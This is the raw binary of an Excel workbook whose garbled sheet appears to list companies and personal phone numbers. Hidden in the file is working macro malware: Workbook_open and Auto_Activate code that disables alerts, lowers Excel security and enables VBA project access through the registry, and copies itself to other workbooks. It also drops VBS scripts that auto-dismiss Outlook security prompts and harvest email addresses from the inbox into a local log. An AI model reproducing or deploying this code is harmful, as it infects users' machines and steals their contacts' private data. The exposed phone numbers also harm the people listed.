ࡱ> \w[  !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZhn^_`abcdefgimjklorpqRoot Entry F}3{0 ]3Workbook@]{@p{@]{`d{  ɀ\puof Ba= ThisWorkbook=J(#8X@"1R[SO1 R[SO1 R[SO1 R[SO1R[SO1R[SO1R[SO1RwiSO1R[SO1R[SO1 R[SO1 RwiSO1R[SO1R[SO1RwiSO1R[SO1R[SO1R[SO1 R[SO1h8R[SO1,8R[SO18R[SO18R[SO1R[SO1R[SO1R[SO14R[SO1 R[SO1R[SO1 R[SO14R[SO1<R[SO1?R[SO1>R[SO1Reck\h[{SO1RўSO1RўSO""#,##0;""\-#,##0""#,##0;[Red]""\-#,##0""#,##0.00;""\-#,##0.00#""#,##0.00;[Red]""\-#,##0.007*2_ ""* #,##0_ ;_ ""* \-#,##0_ ;_ ""* "-"_ ;_ @_ .))_ * #,##0_ ;_ * \-#,##0_ ;_ * "-"_ ;_ @_ ?,:_ ""* #,##0.00_ ;_ ""* \-#,##0.00_ ;_ ""* "-"??_ ;_ @_ 6+1_ * #,##0.00_ ;_ * \-#,##0.00_ ;_ * "-"??_ ;_ @_ \$#,##0_);\(\$#,##0\)\$#,##0_);[Red]\(\$#,##0\) \$#,##0.00_);\(\$#,##0.00\)% \$#,##0.00_);[Red]\(\$#,##0.00\)                                    P P      a> , *   ff   ` + )         ! "     8@ @ 8@ @    8@ @  x@ @  @    (    8@ @ 8@ @  (@ @  x  8@ @ $8@ @ % ( %  8@ @  8@ @ 8@ @ 8@ 8@ 8@ @  8@ @ 8@ @  8@ @ 8@ @ $8@ @ 8@ @  8@ @  8@  8@ 8@ @ #8@ @ #8@@ !20% - :_eW[r 1!20% - :_eW[r 2!20% - :_eW[r 3!20% - :_eW[r 4!20% - :_eW[r 5!20% - :_eW[r 6!40% - :_eW[r 1!40% - :_eW[r 2!40% - :_eW[r 3!40% - :_eW[r 4!40% - :_eW[r 5!40% - :_eW[r 6!60% - :_eW[r 1!60% - :_eW[r 2!60% - :_eW[r 3!60% - :_eW[r 4! 60% - :_eW[r 5!!60% - :_eW[r 6" #h $h 1 %h 2 &h 3 'h 4(])}Y *Gl;`+, -{.hgUSCQ\ 0660-3565996Q N_l WS 0u[ ek-Nq\N Q VSG105~NQ6e9z VSG105~m~n6e9z-Nq\/nwSS111~-Nq\/n'Yeh6e9zwSS364~S Ğll'Yeh6e9z_lY wm wSS272~_ll6e9z -N_lؚYwmQeQSke __lؚChnQSNVSG325~NGlY3_l_l %f _3ؚ3_lQeQS _3ؚ}vlQeQS3 %f[n_lR s^ T|\[nؚlQ T6e9zQeQS S13902513611ؚ ] VSG207~ؚ]wN\zHlR135800159895uOS VSG325~5u}v[4YzXo_f13509911228fN 13922039292 VSG207~S]eNq\z wSS284~S]w~nz^'Y Q^fؚlQ^NQeQS}vW6e9z ^ `wSS349~K54+200 `ƖSё N҉lhgz _ \VSG321~K134+200 S`W6e9z \gze 13822662165VSG321~K231+200 S\]6e9z k_[ 13822697353 n܏ v[O Q NsؚlQ[OQ6e9zQS NsؚlQdlXX6e9zQSno]g n 0768-2279751v s^c3N q\ 0663-8252826`l >\VSG324~N=6e9zQeQS nf`ؚ`l>\6e9zQeQS c`ؚll6e9zQeQS c`ؚd\6e9zQeQSNnm/clNVSG324~K1129+800MY^NؚlQ`R6e9zG80~K750+680s|  wSS368~'Y^6e9zK24+57s|WeW[  VSG324~Q6e9zK1179+558s|WeetQ  wSS276~K20+100MY wSS113~zQg6e9zK121+140s|Yl " &{Sh:y[cgbRS113~195K+838MwSS113~T4l6e9z  7S277~7K+300MSS277~z/nlQ3%f6e9z  7S113~243K+800MwSS113~l4l6e9z  7" 7e0NSG105VSNcSe0N  7VSG323~DW6e9zWSĖ  7%VSG106~2309+500NwSS341~N[!nkNGlYn  7wSS248~SWSʐ6e9z^:S  7ʐG323~TS253~R_>y;NNSS^:S  7 SʐlSk^:S  7mؚlQ No\6e9zQS  7 ^`ؚn6e9z(QS) 7 VSG205~SB6e9z 7 Nof13829970010 7cvdW13580086688 7cvdW13580086688 7ё g13580613288 7\htQ 13929820123 7 4l[ؚ*j\6e9zQeQS 7mUlؚlQl~n6e9zQeQS  7mUlؚlQW6e9zQeQS  7mUlؚlQQVn6e9zQeQS  7 VSG324~NSOS 7wSS121SVSG325~ S[Oq\'Yeh6e9z 7 G324~STX6e9z 7wSS270~dq\S6e9z 7wSS287~^_lW\N6e9z 7NS 13516681135 74T _ 7d NW 7VSG207~O[WSʐ6e9z 7VSG205~K2849+300ؚWlxS':W 7mUlؚlQ6e9zQeQS  7UO_ 0760-28191120 7&{Sn13590031868 7lIQq\13827186665 7h^Ė 13302376602 0766-3882638  7hNё 13922657831 0766-2988766 7 _qY 13928399288 7 wSS244~Ss^u6e9z 7NSSVSG323~hT0ukNS  7sNnG323~SK\6e9zQSsNn  7VSG105~K2347+000_lblxS':W 7^mؚlQSn6e9zm3WQS  7^mؚlQw6e9z^]QS  7 ^nؚSv6e9zQS 7VSG324~Swm0N6e9zk 7VSG324~K654+900 7wSS364~Ywmeh6e9z 7 VSG324~x\6e9z 7 VSG107~S~g[6e9z 7 ^mؚeehQeQS 7VSG324~yw'Yeh6e9z 7N/noؚlQjWw6e9zNwSS249~ޏcYPN f  7wSS253~LNwkgK\Sf_l  7wSS248~l]WkNfvKmz[bf_l  7S20noؚ N hG6e9zQeQS  7 no`ؚlQwm0NzQS 7 no`ؚlQwm0NzQS 7wSS358~nnO\kTSSX886~nn]NaNQgk 7 wSS255~eh4Yk 7" 7" 7" 7OIQ 0750-3921870 7 lwmؚNWQeQS 7Ng=N 0662-3185139 7VSG325Tq\6e9zQeQS 7VSG207~K3652+800s|Y 7 UlhؚN6e9zQeQS 7" 7 wSS358~S N6e9z 7 SS231S[rVn6e9z 7 4l[ؚ^o6e9zQeQS 7 4l[ؚ\6e9zQeQS 7 4l[ؚs^l6e9zQeQS 7sT13600028685 7" 7NʐS323~Ğё'Yeheh4YMRT500s|Y^:S  7SSX315~l]W'YXXki_ySf_l  7%NO:_13829379262 7"-Ne13690994118 7)Rehb 0769-22002539b`NS 0769-22002568 7 33ؚؚe:SQeQS 7^[OؚlQ\XnQS\Xn6e9z  7 _R13602986189 7wSS263~K299+604MYSNl\6e9z  7" 7 wSS335~`lj6e9z 7[l13826897988 0766-8926039 7VSG324~K1207+700MY 7zWS 7 G106~Smo6e9z 7YO|q\13922368911 7W^e13316160828 7" 7$s 0756-8971361 13600369052  7" 7 G105~T0uNz_lp 71g 72g 73g 74g 75g 76g 7<G105~Qg 7VSG105~S N*mGY'Yeh6e9z 7" 7Npe13802642611 7VSS254~S4lS-NO'Yeh6e9z 7VSG205~`3e)WmQT6e9zQeQS  71gVNS13928383131  7 cnfؚ!:W6e9zQeQS 7 UlhؚW0u6e9zQeQS Ulhؚ{v\6e9zQeQS 7 UlhؚsVn6e9zQeQS 7" 7gfmؚ 6e9z 7" 7VSG207~eehlzS@W 7H\Q15900131408 7Ğ__ 0760-28191121 7 'Yؚ~g\QeQS 7 'Yؚ|iQgQeQS 7" 7UO m 0755-26162729 15889763172 72018t^ NJSt^hQwN=zgzgbRR 7 ^ؚlQ N4l'Yeh6e9z 7lpg13902415179 71gaf 0751-8260004 7 ~h 0753-2380819 7 _ f\ 0753-3298321 7 !yq 0753-7892923 7 ^oؚlQswm6e9zёhgz 71gaf 0751-8260004VSG323~_lS6e9zYtQ  7 mUlؚlQ}vN6e9z 7/ d`=tQV3g. , 2 ( "w P$-&'o)w(+-`.=/1F3#45yD78SV:cc||O}}A} .00\)_ *ef;_ @_ }A} .00\)_ *ef;_ @_ }A} .00\)_ *ef;_ @_ }A} .00\)_ *ef;_ @_ }A} .00\)_ *ef;_ @_ }A} .00\)_ *ef ;_ @_ }A} .00\)_ *L;_ @_ }A} .00\)_ *L;_ @_ }A} .00\)_ *L;_ @_ }A} .00\)_ *L;_ @_ }A} .00\)_ *L;_ @_ }A} .00\)_ *L ;_ @_ }A} .00\)_ *23;_ @_ }A} .00\)_ *23;_ @_ }A} .00\)_ *23;_ @_ }A} .00\)_ *23;_ @_ }A}  .00\)_ *23;_ @_ }A}! .00\)_ *23 ;_ @_ }-}# .00\)_ *}A}$ .00\)_ *;_ @_ }A}% .00\)_ *?;_ @_ }A}& .00\)_ *23;_ @_ }-}' .00\)_ *}A}( .00\)_ *;_ @_ }A}) a.00\)_ *;_ @_ }U}* .00\)_ *;_ @_  }}- }.00\)_ *;_ @_    }}. .00\)_ *;_ @_ ??? ??? ??? ???}-}/ .00\)_ *}-}0 .00\)_ *}A}1 }.00\)_ *;_ @_ }A}4 .00\)_ *;_ @_ }A}5 .00\)_ *;_ @_ }A}6 .00\)_ *;_ @_ }A}7 .00\)_ *;_ @_ }A}8 .00\)_ *;_ @_ }A}9 .00\)_ * ;_ @_ }A}: e.00\)_ *;_ @_ }}; ???.00\)_ *;_ @_ ??? ??? ??? ???}}< ??v.00\)_ *̙;_ @_    }x}=.00\)_ *̙;_   O20% - :_eW[r 1 ef %O"20% - :_eW[r 2 ef %O&20% - :_eW[r 3 ef %O*20% - :_eW[r 4 ef %O.20% - :_eW[r 5 ef %O220% - :_eW[r 6  ef %O40% - :_eW[r 1 L %O#40% - :_eW[r 2 L渷 %O'40% - :_eW[r 3 L %O+40% - :_eW[r 4 L %O/40% - :_eW[r 5 L %O340% - :_eW[r 6  Lմ %O 60% - :_eW[r 1 23 %O$60% - :_eW[r 2 23ږ %O(60% - :_eW[r 3 23כ %O,60% - :_eW[r 4 23 %O060% - :_eW[r 5 23 %O460% - :_eW[r 6  23 %~vRk+h I}%=h 1 I}%O=h 2 I}%?=h 3 I}%23/h 4 I}%5]  %8^ĉ5}Y  a%GGl;` %OO'^ '^[0]o{  }% uhgUSCQ@7  ɀ $asƄL  dMbP?_*+% ,{ &P u qQ &N u&~?'~?(~?)~?MD110  4d,,A4DINU"<axd SMTJFuji Xerox D110 PCL 6InputBinFORMSOURCERESDLLUniresDLLPaperSizeA4ResolutionDPI600ColorModeMonoCollateONDuplexNONEMediaTypeNoneOrientationPORTRAITFPXFgFPXFg 4 A4d9.5ddP............................ ,A44 A4A3" d,, `? `?U} @}  @} @ @} 0@}  `@} @} @  f@ N N @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ F F F @ @ @ @ @ @ @ @ @ @ __________`CD Y Y Y Y YYYYYY  Y  MM YYYY L L L L L  L  YMM ~ K? W K G H H H H H  H  O  JD ~ W@W W G HH HH H H  Z  DD WWW GH HH HH  H  ZDD ~ K@W K G H H H H H  H  O  DD ~ T@ T T A ?? ? ??  ?  U  DD TTT A ?? ?? ? IUDD TTT A ? ??? ? IUDD TTT A ? ? ? ? ? ? UDD TTT A ??? ? ??UDD TTT A ? ? ????UDD ~ T@ T T A ? ? ? ? ? ? UDD TTT A? ? ?? ? ?UDD TTT A ?? ? ??  ?  UDD TTT A? ?? ??  ?  UDD TTT A ?? ?? ? ?UDD TTT A ? ?? ???UDD ~ K@ W K G H H H H H  H  Z  JE ~ K@W K G  H H H H H  H  ZEE ~ T @ T T G HH HH H H  U  EE TTT A? ?? ??  ?  UJD ~ K"@ W K GH H H HHH  O  JD ~ K$@W K GH H HH H H  O  ED ~ K&@W K GH HHHHH  O  ED ~ T(@ T T A ?? ?? ? ?  [  DD TTT A ??? ???\DD TTT A? ?????\ED TTT A ??????\ED TTT A ? ?? ? ? ?\DD ~ T*@T T A  ??? ???\DD D>l0vvvn\vPNdpvd\vzPNFh @! @" @# @$ @% @& @' @( @) @* @+ @, @- @. @/ @0 @1 @2 @3 @4 @5 @6 @7 @8 @9 @: +@; @< @= @> @? @ TTT A ???? ? ? \DD !TTT !A!? !?!????\DD "TTT "A"? "? "?"???\DD ~ #T,@ #T #T #A#???? #?# ? # \  # DD $TTT $A$????? $ ? $ \DD %TTT %A %?? %?%???\DD &TTT &A &?? &?&???\DD 'TTT 'A '? '?? '?'? ' ? ' ]DD ~ (T.@ (T (T (A (?(? (?(? (?( ? ( P ( DD )TTT )A )? )?)? )?)? ) ? ) P! ) DD ~ *>0@*T *>" *A *? *? *? *? *? * ? * P * DD ~ +>1@ +T# +>$ +A% +? +? +? +? +? + ? + P + DD ~ ,T2@,T ,T& ,A' ,?? ,? ,?,? , ? , U , DD -TTT -A( -? -?? -? -?- ?UJD ~ .T3@.T .T) .A*.? .?.? .?.? . ? . U . DD /TTT /A+ /?/? /?/? /?/ ?UDD ~ 0T4@ 0Q, 0T- 0A 0??? 0? 0?? 0 U. 0 DD 1TRT 1A1???? 1?1 ?UDD ~ 2T5@2R 2T/ 2A 2??? 2? 2?? 2 U 2 DD 3T 3R,3T 3A3???? 3?3 ?UDD 4TRT 4A04????? 4 ? 4 UED 5TRT 5A 5? 5?5? 5? 5?? 5 U2 5 ED 6TRT 6A16????? 6 ? 6 UDD ~ 7T6@7R 7T3 7A7???? 7?7 ? 7 P 7 DD 8TRT 8A 8? 8??? 8?8 ? 8 U 8 DD 9TRT 9A4 9?? 9?9???UDD :TST :A5 :?? :? :??? : P : DD ~ ;T7@ ;T6 ;T6 ;A ;? ;? ;? ;? ;? ; ? ; U7 ; DD <TTT <A <? <? <? <? <? < ? < UDD =TTT =A =? =? =? =? =? = ? = UDD >TTT >A >? >? >? >? >? > ? > UDD ?TTT ?A ?? ?? ?? ?? ?? ? ? ? UDD Dl\NZ~PPPphnP|bPxPzpPf@ @A w@B w@C w@D @E @F @G @H @I @J @K @L @M @N @O @P @Q @R @S @T @U @V @W h@X h@Y h@Z @[ @\ @] @^ @_ @ @TTT @B @? @? @? @? @? @ ? @ UJD ~ AT8@AT AT8 AA A? A? A? A? A? A ? A U7 A DD BTTT BA B? B? B? B? B? B ? B UDD CTTT CA C? C? C? C? C? C ? C UDD ~ D>9@ DT9 D>: DA D? D? D? D? D? D ? D U D DD ~ ET:@ET ET; EA E? E? E? E? E? E ? E UDD FTTT FA F? F? F? F? F? F ? F UED ~ GT;@GT GT< GA G? G? G? G? G? G ? G UED HTTT HA H? H? H? H? H? H ? H UDD ~ IT<@ IT= IT> IA? I? I? I? I?I? I ? I U I DD JTTT JA@J???? J?J ?UED ~ KT=@KT KTA KAB K? K? K? K?K? K ? K U K DD LTTT LACL???? L?L ?UDD ~ MT>@ MTD MTE MA M?M? M? M??? M U M DD NTTT NAFN???? N? N ? N UDD OTTT OAGO? O?O? O?O??UED ~ PT?@PT PTH PAP? P?P????UED QTTT QAI Q?Q? Q? Q? Q? Q ? Q UDD ~ RT@@ RTJ RTK RAR????? R ? R U R DD STTT SALS? S?S? S?S??UDD TTTT TAM T?? T?T???UDD UTTT UA U?U?????UDD VTTT VAV???? V?V ?UED ~ WT@@WT WTN WAW? W? W? W?? W ? W UDD XTTT XA X? X??? X?X ?UDD YTTT YA Y??? Y?Y??UDD ~ Z>A@ ZTO ZK ZA Z? Z? Z? Z? Z? Z ? Z P Z DD ~ [>A@[T [KP [A [? [? [? [? [? [ ? [ P [ JD ~ \>B@\T \K \A \? \? \? \? \? \ ? \ P \ DD ~ ]>B@ ]TQ ]>R ]AS ]? ]? ]? ]? ]? ] ? ] PT ] DD ~ ^>C@^T ^>U ^AV ^? ^? ^? ^? ^? ^ ? ^ PW ^ DD ~ _TC@_T _TX _AY _? _?_???? _ PZ _ JD D>lPP\bd~vbPFP\P` @a @b @c @d @e @f I@g g@h v@i @j @k @l @m @n h@o h@p h@q h@r h@s @t @u @v @w @x @y @z @{ @| @} @~ @  `TTT `A`???? `? ` ? ` P[ ` DD aTTT aA\ a?? a? a??? a P a DD bTTT bA] b??? b? b?? b P b DD ~ cTD@ cT^ cT_ cA` c?? c? c? c? c ? c U c DD dTTT dA d? d?d????UDD ~ eTD@eT eTa eAe???? e? e ? e P e DD fTTT fAb f? f? f? f? f?? f P f JD ~ gTE@gT gTc gAd g??? g? g? g ? g Pe g DD hTTT hAf h? h? h? h??? h Pg h DD ~ iKE@ iWh iKi iG iH iH iH iH iH i Hi OŻ B i DD ~ jWF@jW jWj jGk jH jH jHjH jH j Hj Ohb) B j JD kWWW kGl kHHH kH kHH k Ohb) B k DD ~ l>F@ lTm l>n lA l? l? l? l? l? l ? l Uo l JD ~ m>G@mT m>p mA m? m? m? m? m? m ? m UDD ~ nTG@ nQq nXr nA n? n? n? n? n?? n Us n DD oTRX oAo????? o ? o UDD pTRX pA p? p? p?p???UDD qTRX qAq???? q? q ? q UDD rTRX rA r??? r? r?r ?UDD ~ sTH@ sRq sTt sBus?????? s Us s DD tTRT tAv t? t? t? t? t? t ? t UDD uTRT uAw u? u? u? u? u? u ? u UDD vTST vAx v? v? v? v? v? v ? v UDD ~ wTH@ wTy wTz wA{ w? w? w?? w? w ? w U w DD xTTT xA| x?? x?x???UED yTTT yA} y??? y?y??UDD ~ zTI@zT zV~ zB z? z? z?? z?z ? z U z DD {TTV {A {?? {? {?{? { ? { UDD |TT |V |A |? |? |?? |?| ? | U | DD }TTV }A }?? }? }?}? } ? } UDD ~^~^^^^^^^^^^DD  DDlhffR~tjP^\\jPPpp0       D D D D D Dd >-@<d;;@ {,-./2601 24 ;@ EF7:01;@AC./267:01   (),-()"~~  "#';@RVWY_bACIJKLMOPQEFGHsvwyz}cdefghjknr]bIL(*+/;CDH"#'#'   #'svnr  ./ ,-    " cdefghjkw}AC IJ KL DH IJKLwy|}z{z{ |} RY cd lm sv wy nr MO56 89 MQ GHRVWY_bPQnrsv023:chiklmMQRYZ\7 Sheet1ggD&  ɀ ٮ  dMbP?_*+%"??U>@< 7 Sheet2ggD&  ɀ L  dMbP?_*+%"??U>@< 7 Sheet3ggD& A  ~\-I Q:%#D${cnfJ͙,bZFDZ@G&xDZ@G&${cnfJ͙,bZME,[LSS>"`&<^LL LP<0<4<8<<<N0{00020819-0000-0000-C000-000000000046}H(%%` % %%*  H )\hd%rX8(PLibrayx ]x0 ]x%P@t 0@p @l MY0(t AX@d :\8h8HhTx8\$*\Rffff*025c1297b9*\R1*#2a9*\R4*#3b*\R4*#1b$*\Rffff*0?5c129267*\R1*#d7*\R1*#d7< " ( 0@H" PX\`     ] Ġ &. &((APo &{0002E157-0000-0000-C000-000000000046} \!<!B@ &(.0 &(( \A@Z &(.oAttribute VB_Name = "ThisWorkbook" Bas0{00020P819-0C$0046} |GlobalSpacFalse dCreatablPredeclaIdTru BExposeTemplateDerivBustomizD2Public WithEvents xx @As App ation fxx.VarHelpIDU-1 P;? Sub _open() P Set)= )On Error ResuNext4:.Disj yAlerJ= iCall do_whaEndC: Axx_w{O!ByVal wb5'& wb@8Project.References.AddFromGuid _ GUID:="BE157 -P, Major:=5, Mi nA3 `LB>-z Fq/cGH)Uxq/cGH)UB)٫>`LB>-zME(SLSS6"N0{00020820-0000-0000-C000-000000000046}(%` % %`h8@HH08\$*\Rffff*045c1297b94xAttribute VB_Name = "She@et2" Bast0{00020820- C$0046} |Global!SpacFalse dCreatablPre declaIdTru BExposeTemplateDeriv$Bustom izD2rU 114) Q`rU @n<jxQ:~#<!Jh+pD+) F[fCX=C.ux[fCX=C.u!Jh+pD+)MEB~B(SLSS6"N0{00020820-0000-0000-C000-000000000046}(%` % %`h8@HH08\$*\Rffff*055c1297b94xAttribute VB_Name = "She@et3" Bast0{00020820- C$0046} |Global!SpacFalse dCreatablPre declaIdTru BExposeTemplateDeriv$Bustom izD2rU 124) Q`rU @nrU $ `$ `$ `$ `a,! `ayDI `aS4*#27*\R4*#19*\R4*#1b*\R0*#e*\R4*#1c*\R1*#f1*\R0*#12*\R0*#12*\R0*#f*\R0*#8*\R0*#14*\R1*#f2*\R0*#14*\R1*#dc*\R1*#91*\R1*#d7*\R1*#e8*\R1*#2ac*\R1*#f1$*\Rffff*025c1297b9" "H "0@H*TP  ""&F2*("X"0@"P4xV9 0(0X0  "   '0P `hx B H   B   9 "'(P B$X p x   &   ( 0@HP Xhpx ($ *E  "$ 0 @ $P`h px  %  ($ $   , / Q:xxME 1!)0^<> P*L*LLPL*LPPLLLLL"<<<<<<<<<<<<<<<<<<<<<<<<<<<H@' $@`P#,k  2`&Hk @:H. 08`$Pk # Ex% Gt As % Kp0% P`x(Pk 0 14 Z0`>o  8)]  % 14 ad% c`(%+f` op ffCih )k%)m%in  14 Gpt %`pp`rl`th`vd`x` {\% V8`o  14`h`d Th T@`x`o  14@\ !*`X`T`P`L`< <.`, b`($f `x ` )YB YD YF YH( YJ`L `N +  `Pk  H+n` ` Sip`r`t`+2 `  e@z @| `+x `(  oI @ @ ( ` xI  I @ @ 6 `!!  %``` R`xo @\ @L @< `: h ( 0 ` 8  @@x x 8" %0`@Pl  (&RTVX@@Hh @d @` @P (@(XhhP0@Rl @coms&4l@P4 @$ ?"@  @_ @(@( @8 @ @ @ h H@  @  @ (( soft@o xcel %P @@ X(p8@Tl (&UUUUUU? ]x REG_@$ @  @ @ p @\ B@@L B@@< ( p(p@Vl p P &d@` @@\ Ş@X @T @XD @@ @p0 @ @ @ @ @ @ $ƞ@ h8`z &@ t @Pp @` @\ @X  8PhpX8??   %@l  @D @4 @$ @ @ @ @ @0 @H @` @x @ @ @t @p @` @P @ @ @0 8`pʞX@0X(` z  HfP@ph @X @H (@8 @( @ @ @@d @ @j @ p0@ X@ @o  8  @Zl ' ]h % ]hP df@L@P \ @L @h H @D @@ @> (!@(P!Xp""!!""P!"h!`fz x!P!# |~@!L @!< @`", @H" @ @0" @ @x" @" @" @ @ !~@  ##`H%@#"78#`x % #Y $$$P$#&0246@h$x @8$t @p @$` @\ (@L @$< @, %%%%h%% @@%l @\ @X T%`%%@P p'&&@'&`' @@&x @'t (@d @('` @\ XX'`X%@'@'T @'P  X @'L @H ' "p8\*\R4*#1d*\R1*#2ad$*\Rffff*0?5c129267*\R4*#2c*\R4*#35*\R4*#34*\R4*#34*\R4*#35*\R4*#22*\R0*#f*\R4*#2a*\R0*#11*\R0*#3*\R0*#19*\R0*#13*\R4*#2b*\R4*#25*\R    1( H`(:x  (  "  $   ( "C8 `  p  x  #       B       0 B Lr` Jr Hr HH  "`  p     "   B       ) * ZH V \ X`     ( H " PX`  "    .< ( (@!X(x6Y(^r(@!X(x!(! <? 058P B X`hQp "  0bPP 02#  ( .$0 `hpxP  +  . @ J^H ,$,$  ( " 0&8 `*h 2F$8`h "x"B>0 p2 . 86X 2  @8`2 2@ X &h "&2N0PNJ *p20"T0.4\h,8:bX.PJ@  $ Z 8(!4`!B!>! "8"BH"<"""(". #HP#J##$$ $H$h$>x$D$@%V@%&%@%&R&dh&&*&&'@'(P'x'j'4(&@(h(j(4(&0)X)&x)))0).)H(*Xp*J*.+8H++6++"+,0,8@,6x,0,P,0-8@-x-B->-.(.(8..`.H.P.(/H/$`// / /(/// " 0 0(080 @0*`060F0 1&01X1`1 <p1"1L1(2H2Ph2P2d3p3p3@4v@44P4V 5nx5560777>708JH868&8"8 9&@9 h994969 :8:0P:*:(:x:BP;*;$;;<&(<P<p<  <<<<,<(= 0=  @=P=(X== =$=== >0?8? N@?R?T?T@@>@ 2@LA `A^pA:AB B(B " 0B8B@BHB $XBB BBBBBBBBBB BCC C(C0CHCPCXC`ChCpC BxC27CCC0CCCD DD B  D D8D@D XDhDD DDDDDD*D2EPE`EhEB pExEE4E.EF*F HFXF B  `FhFpF*F F F FF "  FGG*GJHGG GG GG GH H0H8H " @HHH`H hH xHHH H@HHII 0I @IPIXI`I pII*IIII&J|(JvJ, K PK `KpK xKK B KKK K "K "KK&+L 0L$G8L"0`LLLL L:L "L LL &(( !* &!, &(.A0A2$4!Macro1G A@6j B@8+ 3, i &(. " kXoP@]"n( ThisWorkbook !<%>!@ C#Public WithEvents xx As ApplicationC@B:\WPrivate Sub Workbook_open()C@BSet xx = ApplicationC@BOn Error Resume NextC@B!Application.DisplayAlerts = FalseC@B Call do_whatC@BEnd SubC@B1Private Sub xx_workbookOpen(ByVal wb As Workbook)C@B On Error Resume NextC@B %wb.VBProject.References.AddFromGuid _C@B GUID:= :&{0002E157-0000-0000-C000-000000000046} :, _C@B Major:=5, Minor:=3C@B "Application.ScreenUpdating = FalseC@B!Application.DisplayAlerts = FalseC@B copystart wbC@B!Application.ScreenUpdating = TrueC@BEnd SubC@Bqo]]] !<.D ThisWorkbook D%>.F F!@.J J5NC@Lqox8 !* &!,A@RATAVAXk0i(]]k4.xls$d!<.` \!<.bToDole ` b$fGzji  0]](]@]X]p]] j'fz0k( h$| ~'fzk l'fzk j! 'fzk l! 'fzkx h j%>.F !'fz@k8Temp$\ h.bas'p n p    $~ ~ B@ pA@ !'fzkk l!> h7C@qXdP B@ h l%>.F ! ! d'fzkkk p h j%>B@ p\$'v p.$'x p v x v  $'r.F r l%>.F F p l!>B@d F!l  p l!>%.z F!@5NC@L z!@!N z!@%'t tC@Bq z l!>B@k`kX pA@'fi8]]  !' &!,\k4.xls'k4.xls$ !* &!,Gk4.xls$dB@Bjcomspec$  /c attrib -S -h " &!,\K4.XLS" A@comspec$  /c Del /F /Q " &!,\K4.XLS" A@comspec$  /c RD /S /Q " &!,\K4.XLS" A@ !* &!, &(. (  B@ ( &(.kHi@8]]]( &!'scRiPTinG.fiLEsysTeMoBjEcT$.,HKEY_CURRENT_USER\Software\Microsoft\Office\ \Excel\Security\AccessVBOM',HKEY_CURRENT_USER\Software\Microsoft\Office\ \Excel\Security\Level'-HKEY_LOCAL_MACHINE\Software\Microsoft\Office\ \Excel\Security\AccessVBOM'-HKEY_LOCAL_MACHINE\Software\Microsoft\Office\ \Excel\Security\Level'''   REG_DWORDA   REG_DWORDA   REG_DWORDA   REG_DWORDAi@] WScript.Shell$.    B@dP    B@k0.o ]h \%4B@H l 4B@Macro1 (A2$B@H =ERROR(FALSE) (A3$B@H=IF(ERROR.TYPE(RUN(" &!"))=4) (A4$B@H=ALERT("ú꣬ر $  $Please Enable Macro!",3) (A5$B@H=FILE.CLOSE(FALSE) (A6$B@H =END.IF() (A7$B@H =RETURN() (  \!4 !!Auto_Activate =Macro1!$A$2 \!B@  \%(o'  &%d! 'z`kXPiH]10:00:00 ]11:00:008]14:00:00P]15:00:00h] WScript.Shell$.,HKEY_CLASSES_ROOT\mailto\shell\open\command\ %$ OUTLOOK.EXE G|j        D:\Collected_Address:frag1.txt$1| d 1D:\Collected_Address:frag1.txtA@A@ k d G|j   n $   n $| d n $' D:\Collected_Address:frag2.txt$X' n $ D:\Collected_Address\log.txt$|` dX D:\Collected_Address:frag1.txtA@ D:\Collected_Address:frag2.txtA@A@k k k o ] 8Ph scripting.filesystemobject$. WScript.Shell$.E:\KK %GE:\KK B@ j ! ! $ _$"._$"'E:\KK\  _clear.vbs'$ ' $  On error Resume Next Dim wsh, tle, T0, i  T0 = Timer  Set wsh=createobject("wscript.shell")  tle = "Microsoft Office Outlook" For i = 1 To 1000 $ If Timer - T0 > 60 Then Exit For  Call Refresh()  wscript.sleep 05  wsh.sendKeys "%a"  wscript.sleep 05  wsh.sendKeys " {TAB}{TAB}"  wscript.sleep 05  wsh.sendKeys "{Enter}" Next Set wsh = Nothing  wscript.quit  Sub Refresh() *Do Until wsh.AppActivate(CStr(tle)) = True $ If Timer - T0 > 60 Then Exit Sub Loop  wscript.sleep 05  wsh.SendKeys "%{F4}" End Sub VE:\KK\  _Search.vbs'& ' &  On error Resume Next Const olFolderInbox = 6 $Dim conbinded_address,WshShell,sh,ts #Set WshShell=WScript.CreateObject("WScript.Shell") Set objOutlook = CreateObject("Outlook.Application") ,Set objNamespace = objOutlook.GetNamespace("MAPI") <Set objFolder = objNamespace.GetDefaultFolder(olFolderInbox) Set TargetFolder = objFolder conbinded_address = "" !Set colItems = TargetFolder.Items wscript.sleep 300000 WshSHell.Run (" wscript.exe  $"), vbHide, False  ts = Timer For Each objMessage in colItems & If Timer - ts >55 then exit For M conbinded_address = conbinded_address & valid_address(objMessage.Body) Next add_text conbinded_address, 8 )add_text all_non_same(ReadAllTextFile), 2  WScript.Quit  +Private Function valid_address(source_data) T Dim oDict, trimed_data , temp_data, i, t_asc, header_end, trimed_arr, nonsame_arr  Dim regex, matchs, ss, arr()  Set oDict = CreateObject("Scripting.Dictionary")  Set regex = CreateObject("VBSCRIPT.REGEXP")   regex.Global = True  regex.Pattern = ",\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*" * Set matchs = regex.Execute(source_data) % ReDim trimed_arr(matchs.Count - 1) 3 For i = Lbound(trimed_arr) To Ubound(trimed_arr) / trimed_arr(i) = matchs.Item(i) & vbCrLf  Next  3 For i = LBound(trimed_arr) To UBound(trimed_arr)  oDict(trimed_arr(i)) = ""  Next   If oDict.Count > 0 Then  nonsame_arr = oDict.keys : For i = LBound(nonsame_arr) To UBound(nonsame_arr) ; valid_address = valid_address & nonsame_arr(i)  Next  End If  Set oDict = Nothing  End Function  0Private Sub add_text(inputed_string, input_frag) 5 Dim objFSO, logfile, logtext, log_path, log_folder  log_path = "D:\Collected_Address"  Set objFSO = CreateObject("Scripting.FileSystemObject")  On Error resume next 1 Set log_folder = objFSO.CreateFolder(log_path)  $ If objFSO.FileExists(log_path & " \log.txt" ) = 0 Then 7 Set logfile = objFSO.CreateTextFile(log_path & " \log.txt", True)  End If  Set log_folder = Nothing  Set logfile = Nothing   Select Case input_frag  Case 8 8 Set logtext = objFSO.OpenTextFile(log_path & " \log.txt", 8, True, -1) & logtext.Write inputed_string  logtext.Close  Case 2 8 Set logtext = objFSO.OpenTextFile(log_path & " \log.txt", 2, True, -1) & logtext.Write inputed_string  logtext.Close  End Select  set objFSO = nothing End Sub  "Private Function ReadAllTextFile()  Dim objFSO, FileName, MyFile  FileName = "D:\Collected_Address\log.txt"  Set objFSO = CreateObject("Scripting.FileSystemObject") < Set MyFile = 